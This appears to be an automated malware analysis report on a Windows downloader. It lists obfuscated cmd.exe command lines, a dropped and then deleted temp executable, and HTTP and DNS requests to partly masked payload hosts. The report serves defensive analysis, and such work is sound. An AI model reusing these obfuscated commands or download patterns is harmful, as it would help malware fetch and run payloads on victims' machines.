Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' GiQDdTHaPI nGizLTPVjqlRLwmZQpP dXjEhXS & %co^m^S^p^E^c% /c ^f^o^R , , ; /^f , , , , ; ; , " tokens= +2 delims=FpH" ; ; , ; , ; %^E , ; ; ...
Modifies file system
Creates the following files
- %TEMP%\322.exe
Deletes the following files
- %TEMP%\322.exe
Network activity
Connects to
- 'su##i.com':80
- 'sp####pekt.com.br':80
- 'sp###pony.ch':80
- 're#####ationcongo.com':80
- 'pr##oach.jp':80
TCP
HTTP GET requests
- http://su##i.com/IdWaI
- http://sp####pekt.com.br/WCH
- http://sp###pony.ch/R1c
- http://re#####ationcongo.com/imiK6
- http://pr##oach.jp/newfolde_r/Q8G8Tdg
UDP
- DNS ASK su##i.com
- DNS ASK sp####pekt.com.br
- DNS ASK sp###pony.ch
- DNS ASK re#####ationcongo.com
- DNS ASK pr##oach.jp
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' GiQDdTHaPI nGizLTPVjqlRLwmZQpP dXjEhXS & %co^m^S^p^E^c% /c ^f^o^R , , ; /^f , , , , ; ; , " tokens= +2 delims=FpH" ; ; , ; , ; %^E , ; ; ...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ^f^t^Y^pe | ^f^Inds^T^r ^C^m
- '<SYSTEM32>\cmd.exe' /S /D /c" ftYpe "
- '<SYSTEM32>\findstr.exe' Cm
- '<SYSTEM32>\cmd.exe' ; ; , , t1lrs3/V)U0Ma;1E ; ; , , ; , MTDyP3pqrW/C " ; , ; ; ; , ( , ( , , , , , ( , ( , (^S^ET ^ ^ ^ ^...
